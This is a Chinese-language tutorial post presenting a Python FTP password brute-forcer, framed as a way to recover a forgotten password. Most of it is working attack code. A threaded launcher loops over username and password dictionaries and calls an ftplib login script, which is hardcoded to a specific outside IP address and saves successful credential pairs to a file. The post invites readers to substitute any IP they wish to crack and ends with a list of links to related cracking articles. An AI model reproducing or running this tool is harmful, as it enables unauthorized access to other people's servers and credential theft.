忘记ftp密码使用python ftplib库暴力破解密码的方法示例
python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。
下面直接上代码,下面是主文件
复制代码 代码如下:import os
import time
import threading
class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘\n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘\n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)
相应的ftp.py文件里面的代码如下
复制代码 代码如下:import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘aa.txt','a+')
hand.write(user+”:”+passwd+”\n”)
except ftplib.error_perm:
print “passwd is world”
需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。
代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。
您可能感兴趣的文章:
- 忘记ftp密码使用python ftplib库暴力破解密码的方法示例
- python---ftplib,ftp使用,ftp破解用户与密码,ftp服务器查找web页面
- Python实现在线暴力破解邮箱账号密码功能示例【测试可用】
- Python使用matplotlib绘制多个图形单独显示的方法示例
- Violent Python FTPlib暴力i破解FTP用户口令
- Python---项目3-破解使用crypt方法加密(已加salt参数)的登录密码
- Python实现在tkinter中使用matplotlib绘制图形的方法示例
- 使用python扫描随机生成的域名开放端口 ,并尝试暴力破解FTP服务
- python编写暴力破解FTP密码小工具
- python编写暴力破解FTP密码小工具
- Python使用matplotlib绘制正弦和余弦曲线的方法示例
- Python脚本暴力破解栅栏密码
- 使用python破解密码
- Centos下防止ssh暴力破解密码的方法
- Python搭建机器学习环境+库的使用方法+一些示例
- Python使用cx_Oracle调用Oracle存储过程的方法示例
- 使用Python生成随机密码的示例分享
- 使用ORABF暴力破解用户密码
- Python开发中爬虫使用代理proxy抓取网页的方法示例
- python使用smtplib模块通过gmail实现邮件发送的方法